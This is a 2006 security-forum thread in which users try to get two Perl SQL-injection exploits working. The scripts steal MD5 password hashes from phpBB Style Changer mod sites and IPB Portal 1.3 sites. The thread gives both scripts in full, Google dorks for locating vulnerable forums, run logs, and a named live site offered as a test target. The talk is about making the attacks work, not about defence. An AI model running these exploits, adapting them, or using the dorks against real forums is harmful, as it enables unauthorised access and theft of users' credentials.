Login or Register :: Home :: Search :: Your Account :: Forums :: Waraxe Advisories :: Tools :: November 16, 2024 Menu Home Logout Discussions Forums Members List IRC chat Tools Base64 coder MD5 hash CRC32 checksum ROT13 coder SHA-1 hash URL-decoder Sql Char Encoder Affiliates y3dips ITsec Md5 Cracker User Manuals AlbumNow Content Content Sections FAQ Top Info Feedback Recommend Us Search Journal Your Account User Info Welcome, Anonymous Nickname Password (Register) Membership: Latest: MichaelSnaRe New Today: 0 New Yesterday: 0 Overall: 9144 People Online: Visitors: 63 Members: 0 Total: 63 Full disclosure SEC Consult SA-20241112-0 :: Multiple vulnerabilities in Siemens Energy Omnivise T3000 (CVE-2024-38876, CVE-2024-38877, CVE-2024-38878, CVE-2024-38879) Security issue in the TX Text Control .NET Server for ASP.NET. SEC Consult SA-20241107-0 :: Multiple Vulnerabilities in HASOMED Elefant and Elefant Software Updater Unsafe eval() in TestRail CLI 4 vulnerabilities in ibmsecurity 32 vulnerabilities in IBM Security Verify Access xlibre Xnest security advisory & bugfix releases APPLE-SA-10-29-2024-1 Safari 18.1 SEC Consult SA-20241030-0 :: Query Filter Injection in Ping Identity PingIDM (formerly known as ForgeRock Identity Management) (CVE-2024-23600) SEC Consult SA-20241023-0 :: Authenticated Remote Code Execution in Multiple Xerox printers (CVE-2024-6333) APPLE-SA-10-28-2024-8 visionOS 2.1 APPLE-SA-10-28-2024-7 tvOS 18.1 APPLE-SA-10-28-2024-6 watchOS 11.1 APPLE-SA-10-28-2024-5 macOS Ventura 13.7.1 APPLE-SA-10-28-2024-4 macOS Sonoma 14.7.1 IT Security and Insecurity Portal www.waraxe.us Forum Index -> PhpBB -> phpBB Style Changer/Demo Mod GET HASH EXPLOIT not complete? View previous topic :: View next topic phpBB Style Changer/Demo Mod GET HASH EXPLOIT not complete? Posted: Mon Feb 06, 2006 1:02 pm eclipse Regular user Joined: Feb 06, 2006 Posts: 5 is the code of this following exploit here not complete or just not working? cause i have tried it on my own forum, which is a phpbb 2.0.19 forum. here's my current perl log: Code: C:\>c:\perl\bin\perl.exe c:\perl\bin\bbstyle.pl www.mysite.com /phpbb2/ 2 [+]Make Connection [+]Connected usualy it should show you the userid and md5 hash in the dos windows. like at example: Code: C:\>c:\perl\bin\perl.exe c:\perl\bin\bbstyle.pl www.mysite.com /phpbb2/ 2 [+]Connecting... [+]Connected [+]User ID: 2 [+]MD5 Hash: 5e027396789a18c37aeda616e3d7991b here's the exploit code that i have tried: Code: #!/usr/bin/perl ######################################################### # _______ _______ ______ # # |______ |______ | \ # # ______| |______ |_____/ # # # #phpBB Style Changer/Demo Mod-->GET HASH EXPLOIT # #Created By SkOd # #SED security Team # #http://www.sed-team.be # #skod.uk@gmail.com # #ISRAEL # ######################################################### #google: #"Powered by phpBB" inurl:"index.php?s" OR inurl:"index.php?style" ######################################################### use IO::Socket; if (@ARGV < 3){ print q{ ############################################################ # phpBB Style Changer\Viewer MOD SQL injection Exploit # # Tested on phpBB 2.0.19 # # created By SkOd. SED Security Team # ############################################################ bbstyle.pl [HOST] [PATH] [Target id] bbstyle.pl www.host.com /phpbb2/ 2 ############################################################ }; exit; } $serv = $ARGV[0]; $dir = $ARGV[1]; $id = $ARGV[2]; print "[+]Make Connection\n"; $serv =~ s/(http:\/\/)//eg; $path = $dir.'index.php?s=-99%20UNION%20SELECT%20null,user_password,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null%20FROM%20phpbb_users%20Where%20user_id='.$id.'/*'; $socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$serv", PeerPort => "80") || die "[-]Connect Failed\r\n"; print $socket "GET $path HTTP/1.1\n"; print $socket "Host: $serv\n"; print $socket "Accept: */*\n"; print $socket "Connection: close\n\n"; print "[+]Connected\n"; while ($hash = <$socket>){ $hash =~ m/open(.*?)template/ && print "[+]User id: $id\n[+]Md5 Hash: $1\n"; } # milw0rm.com [2006-02-05] and here is the pendant for invision power board 1.3 forums: Code: #!/usr/bin/perl ########################################### #IPB Portal 1.3->Invision Power Board plugin #Created By SkOd #SED security Team , http://sed-team.be ########################################### #google: #"Portal 1.3 by Dragoran" ########################################### use IO::Socket; if (@ARGV < 3){ print q{ ############################################################ # IPB Portal 1.3 SQL injection Get Hash Exploit # # Tested on Invision Power Board 1.3.0 # # created By SkOd. SED Security Team # ############################################################ ipbpro.pl [HOST] [PATH] [Target id] ipbpro.pl www.host.com /forum/ 2 ############################################################ }; exit; } $serv = $ARGV[0]; $dir = $ARGV[1]; $id = $ARGV[2]; $serv =~ s/(http:\/\/)//eg; $path = $dir.'index.php?act=portal&site=-999%20UNION%20SELECT%20substring(password,1,10),substring(password,11,20),substring(password,21,30)%20FROM%20ibf_members%20Where%20id='.$id.'/*'; $path2 = $dir.'index.php?act=portal&site=-999%20UNION%20SELECT%20substring(password,31,32),null,null%20FROM%20ibf_members%20Where%20id='.$id.'/*'; $socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$serv", PeerPort => "80") || die "[-]Connect Failed\r\n"; print "[+]Connecting...\n"; print $socket "GET $path HTTP/1.1\n"; print $socket "Host: $serv\n"; print $socket "Accept: */*\n"; print $socket "Connection: close\n\n"; print "[+]Connected\n"; print "[+]User ID: $id\n"; print "[+]MD5 Hash: "; while ($answer = <$socket>) { $answer =~ s/40%//eg; $answer =~ s/30%//eg; $answer =~ m/valign="top" width="(.*?)"/ && print "$1"; } $socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$serv", PeerPort => "80") || die "[-]Exploit Failed\r\n"; print $socket "GET $path2 HTTP/1.1\n"; print $socket "Host: $serv\n"; print $socket "Accept: */*\n"; print $socket "Connection: close\n\n"; while ($answer = <$socket>) { $answer =~ s/40%//eg; $answer =~ s/30%//eg; $answer =~ m/valign="top" width="(.*?)"/ && print "$1"; } # milw0rm.com [2006-01-31] can anyone help me and tell me, if the phpbb 2.0.19 exploit is missing some code or why the exploit doesnt work? and how can we fix the code, so the exploit works. Posted: Mon Feb 06, 2006 8:45 pm UK_Secured Regular user Joined: Feb 06, 2006 Posts: 23 all tested and working like a charm Posted: Tue Feb 07, 2006 12:01 am syntax9 Active user Joined: Dec 21, 2005 Posts: 33 doesnt work for me on any forums i have tried. Posted: Tue Feb 07, 2006 12:19 am syntax9 Active user Joined: Dec 21, 2005 Posts: 33 Quote: phpBB Style Changer/Demo Mod-->GET HASH EXPLOIT is why, didnt read the comment. Posted: Tue Feb 07, 2006 6:40 am eclipse Regular user Joined: Feb 06, 2006 Posts: 5 syntax9 wrote: Quote: phpBB Style Changer/Demo Mod-->GET HASH EXPLOIT is why, didnt read the comment. demo mod? this "exploit" isn't fully working, it is considere as a demo mod? and i thought demo mod is only the name of the "exploit". daaaammmmmmmmmmmmmmmmmmmmmmmmmmmmmmm Posted: Tue Feb 07, 2006 10:07 am UK_Secured Regular user Joined: Feb 06, 2006 Posts: 23 try it here: http://www.extremepixels.net/phpbb/index.php?s=x Posted: Tue Feb 07, 2006 12:12 pm eclipse Regular user Joined: Feb 06, 2006 Posts: 5 Thanks UK_Secured, i think my error was i have tried the exploit on the wrong sites, aka wrong phpbb version. dont worry, i didn't changed anything on the website. Sk0d said it already, you have to find a phpbb site that has "index.php?s" OR "index.php?style" but the exploit still doesnt work for every phpbb 2.0.19 forum that should have the mimimum requirements. Posted: Tue Feb 07, 2006 12:35 pm UK_Secured Regular user Joined: Feb 06, 2006 Posts: 23 Quote: google: "Powered by phpBB" inurl:"index.php?s" OR inurl:"index.php?style" it's mentioned in the exploit code Posted: Wed Feb 08, 2006 12:39 pm SkOd Beginner Joined: Feb 08, 2006 Posts: 1 Location: IL All my sploits you can found here: =] http://sed-team.be if some one have problem PM me... Posted: Wed Feb 08, 2006 4:38 pm eclipse Regular user Joined: Feb 06, 2006 Posts: 5 SkOd wrote: All my sploits you can found here: =] http://sed-team.be if some one have problem PM me... Check your PM Sk0d. Posted: Fri Mar 10, 2006 10:38 am lookatmenow Regular user Joined: Feb 24, 2006 Posts: 21 i get the same problem, stops at [+]connected... although if there's one thing to learn from running a script, if it doesn't work...it's something 'you' are doing wrong. so the forum is either not vulnerable or you've typed something wrong etc. Posted: Fri Mar 10, 2006 9:30 pm greatshape Beginner Joined: Mar 10, 2006 Posts: 4 lookatmenow wrote: i get the same problem, stops at [+]connected... although if there's one thing to learn from running a script, if it doesn't work...it's something 'you' are doing wrong. so the forum is either not vulnerable or you've typed something wrong etc. Same here, connected and finish... Code: someone@Linux:~$ ./bbstyle.pl www.extremepixels.net /phpbb/ 2 [+]Make Connection [+]Connected someone@Linux:~$ All help is appreciated, tnx phpBB Style Changer/Demo Mod GET HASH EXPLOIT not complete? www.waraxe.us Forum Index -> PhpBB You cannot post new topics in this forum You cannot reply to topics in this forum You cannot edit your posts in this forum You cannot delete your posts in this forum You cannot vote in polls in this forum All times are GMT Page 1 of 1 All Posts1 Day7 Days2 Weeks1 Month3 Months6 Months1 YearOldest FirstNewest First Select a forumSecurity Research by waraxe----------------General discussionHow to fixMetasploit relatedHash cracking requests----------------MD5 hashesAll other hashesHash related informationhttp://www.waraxe.us portal----------------SuggestionsCooperation proposalsSecurity bugs and issues in general----------------Newbies cornerSql injectionCross-site scripting aka XSSRemote file inclusionFull path disclosureShell commands injectionPhishing and Social EngineeringAll other security holesVarious software----------------PhpNukePostNukePhpBBXMB forumvBulletin BoardInvision Power Boarde107MamboJoomlaXOOPSM$ WindowsLinux worldAll other softwareCoppermine Photo GalleryProgramming languages----------------PhpMySqlPerlJavaJavascriptC and C++Visual BasicBorland Delphi and PascalPythonHTML and XMLAssemblerReverse engineering----------------Newbies cornerDisassemblingPHP script decode requestsMiscellaneous stuff----------------Future of the ITNanotechnologyFun cornerLinksTry2hack sitesProxy databaseDirect Downloads----------------ToolsTutorialsWordlistsRecycle Bin----------------Removed messagesOutdated posts Powered by phpBB © 2001-2008 phpBB Group

Space Raider game for Android, free download - Space Raider gameplay video - Zone Raider mobile games
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2024 Janek Vind "waraxe"
Page Generation: 0.047 Seconds